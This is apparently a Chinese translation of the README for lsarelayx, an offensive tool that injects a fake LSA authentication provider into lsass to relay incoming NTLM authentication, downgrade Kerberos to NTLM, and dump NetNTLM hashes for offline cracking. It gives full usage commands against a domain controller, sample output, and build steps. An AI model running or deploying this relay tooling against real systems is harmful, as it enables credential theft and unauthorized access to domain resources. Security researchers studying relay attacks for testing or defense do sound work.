lsarelayx 是系统范围的 NTLM 中继工具,旨在将传入的基于 NTLM 的身份验证中继到运行它的主机。lsarelayx 将中继任何传入的身份验证请求,其中包括 SMB。由于 lsarelayx 挂钩到现有的应用程序身份验证流,该工具还将在中继完成后尝试为原始身份验证请求提供服务。这将防止目标应用程序/协议显示错误,并为最终用户针对 lsarelayx 主机进行身份验证正常工作。
特征
- 在系统范围内中继 NTLM 连接,包括 SMB、HTTP/HTTPS、LDAP/LDAPS 或任何其他实现 Windows 身份验证 API 的第三方应用程序。
- 在可能的情况下,将传入的 Kerberos 身份验证请求降级为 NTLM。这将导致传统上尝试 Kerberos 身份验证的客户端回退到 NTLM。
- 为中继用户执行 LDAP 查询以获取组成员身份信息并为原始请求创建正确的身份验证令牌。
- 转储 NetNTLM 消息以供离线破解。
- 支持不中继且仅转储捕获的 NetNTLM 哈希的被动模式(在此模式下没有 Kerberos 降级)。
怎么运行的
lsarelayx 分为三个部分。在 liblsarelay.dll 中实现的虚假 LSA 身份验证提供程序、作为控制接口的用户模式控制台应用程序和名为 RAW 的新 ntlmrelayx 服务器模块。
liblsarelayx.dll
liblsarelayx.dll 是由 lsarelayx 加载的 LSA 身份验证提供程序。它的主要目的是挂钩 NTLM 和 Negotiate 包,以便通过本地命名管道将身份验证请求重定向到 lsarelayx,以便中继和转储 NetNTLM 哈希。liblsarelayx 被设计得尽可能简单,其中所有繁重的工作都由 lsarelayx 执行
lsarelayx.exe
lsarelayx.exe 是主控制台应用程序,用于加载自定义 LSA 身份验证提供程序 (liblsarelayx.dll),侦听来自身份验证提供程序的传入 NTLM 和协商令牌,并中继到 ntlmrelayx 的 RAW 服务器模块。该工具还执行 LDAP 查询,用于捕获中继用户的组信息并将其传递回 LSA 身份验证提供程序。
RAW ntlmrelayx 模块
impacket 的 ntlmrelayx 已经实施了大量创建中继攻击的工作,并将在未来继续改进和增加进一步的攻击。为了利用这一优势直接在 lsarelayx 中重新实施攻击,创建了一个名为 RAW 的新 ntlmrelayx 服务器模块。目前在 GitHub 上有一个实现 RAW 服务器模块的PR。RAW 服务器模块与协议无关,旨在直接接受来自 lsarelayx 等 3rd 方软件的原始 NTLM 消息。
直到 PR 合并到主线 impacket repo 中,您才能使用此版本
用法
主动模式
首先启动ntmlrelayx RAW 服务器模块,监听从lsarelayx 传递过来的RAW NTLM 消息。
代码语言:javascript复制python examplesntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1 20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
lsarelayx 本身需要本地管理员权限才能运行。要在主动中继模式下运行,需要指定 ntlmrelayx 运行原始服务器模块的主机地址。默认端口是 6666。这可以用--port
参数覆盖,但请确保也使用--raw-port
参数覆盖了 ntlmrelayx 端的端口。
lsarelayx.exe --host 192.168.1.1
[ ] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:usersAdministratorDesktopliblsarelayx.dll
被动模式
您还可以通过不带任何参数运行以被动模式运行 lsarelayx
代码语言:javascript复制lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:usersAdministratorDesktopliblsarelayx.dll
注意事项
一旦将 liblsarelayx DLL 加载到 lsass 中,由于 LSA 插件工作方式的限制,目前您无法卸载它。可以关闭客户端,这将使 DLL 进入休眠状态,直到客户端再次启动,但 DLL 将一直使用,直到发生重新启动。
由于 LSA 插件实际上并不是真正的插件,因此计划在插件内部实现一个反射加载器,然后可以随意停止和启动,但这是另一天的练习。
开发是在 Windows 10 和 Server 2016 上进行的。在 Windows Server 2012 R2 上进行了快速测试,该测试有效,但挂钩偏移的计算可能会在 2012 上失败(这可以使用 手动提供lookuppackage-hint=
,如果出错,Windows 将重新启动)。没有在桌面端 Windows 10 以下的任何东西上进行过测试,也没有在 Server 2019 上进行过任何测试。
!!警告!!
liblsarelayx.dll 将被加载到关键的 lsass.exe 进程中。如果 liblsarelayx.dll 有任何导致 lsass.exe 崩溃的错误,主机将在 60 秒后重新启动。尽管已尽最大努力编写无错误代码,但我不能保证任何事情。不要向我哭诉您在使用 lsarelayx 后因为繁忙的文件服务器崩溃而关闭了您的财富 500 强客户端。
建造
码头工人
如果您安装了 docker,这是最快的选择。它利用ccob/windows_cross
预安装了所有构建依赖项的映像。
Windows 上的 Docker (Powershell)
代码语言:javascript复制docker run --rm -it -v $env :pwd : /root/lsarelayx ccob/windows_cross:latest /bin/bash -c " cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/ lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip "
Linux 上的 Docker
代码语言:javascript复制docker run --rm -it -v $( pwd ) :/root/lsarelayx ccob/windows_cross:latest /bin/bash -c " cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx /dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip "
Linux
在 Linux 上,我们使用 CMake 工具链和 MinGW 编译器。这些需要事先安装。对于托管组件,请确保也从 .NET core 安装了 dotnet 命令行工具
代码语言:javascript复制mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
Windows (Powershell)
在尝试构建之前,Windows 将需要完整的 CMake、MinGW 和 Visual Studio 设置,如果您没有安装开发环境,这是最痛苦的构建方式
代码语言:javascript复制mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip